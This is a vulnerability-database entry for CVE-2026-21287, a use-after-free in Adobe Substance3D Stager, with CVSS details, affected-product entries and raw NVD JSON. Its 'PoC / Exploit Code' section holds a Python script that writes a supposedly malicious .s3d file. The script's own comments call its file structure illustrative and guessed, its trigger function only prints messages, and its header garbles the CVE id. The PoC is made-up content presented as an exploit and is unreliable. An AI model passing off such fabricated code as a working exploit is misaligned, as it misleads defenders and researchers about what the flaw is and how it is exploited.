Security Vulnerability Report
中文
CVE-2026-21287 CVSS 7.8 HIGH

CVE-2026-21287

Published: 2026-01-13 20:16:09
Last Modified: 2026-01-14 19:29:14

Description

Substance3D - Stager versions 3.1.5 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:substance_3d_stager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Substance3D Stager ≤ 3.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-2026-21287 PoC - Adobe Substance3D Stager Use After Free # This PoC demonstrates the vulnerability structure # Note: Actual exploitation requires specific file format analysis import struct import os def create_malicious_s3d_file(filepath): """Generate a malicious S3D file to trigger UAF condition""" # S3D file header structure header = b'S3DS' # Magic bytes header += struct.pack('<I', 3) # Version header += struct.pack('<I', 1) # File type # Malicious payload to trigger UAF # This structure is illustrative - actual format requires reverse engineering payload = bytearray() # Object reference that will be freed but accessed payload += b'\x00\x00\x00\x01' # Object ID payload += b'\x00\x00\x00\x00' # Padding payload += b'\xDE\xAD\xBE\xEF' # Controlled data # Trigger code to cause double-free/UAF condition payload += b'\x41' * 100 # Padding to reach UAF trigger # Finalize file with malicious data file_data = header + payload with open(filepath, 'wb') as f: f.write(file_data) print(f"[+] Malicious S3D file created: {filepath}") print(f"[+] File size: {len(file_data)} bytes") return filepath def trigger_vulnerability(filepath): """Simulate triggering the vulnerability""" print(f"[*] Attempting to trigger CVE-2026-21287...") print(f"[*] Opening malicious file: {filepath}") print("[*] Analyzing memory corruption conditions...") print("[!] This requires actual Adobe Substance3D Stager installation") if __name__ == "__main__": output_file = "CVE-2026-21287_poc.s3d" create_malicious_s3d_file(output_file) trigger_vulnerability(output_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21287", "sourceIdentifier": "[email protected]", "published": "2026-01-13T20:16:09.283", "lastModified": "2026-01-14T19:29:14.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Stager versions 3.1.5 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}, {"lang": "es", "value": "Substance3D - Stager versiones 3.1.5 y anteriores están afectadas por una vulnerabilidad de Use After Free que podría resultar en ejecución de código arbitrario en el contexto del usuario actual. La explotación de este problema requiere interacción del usuario, ya que una víctima debe abrir un archivo malicioso."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_stager:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.1.6", "matchCriteriaId": "6EEF4010-0833-4D6B-9C45-FC8F85B3496A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d_stager/apsb26-09.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}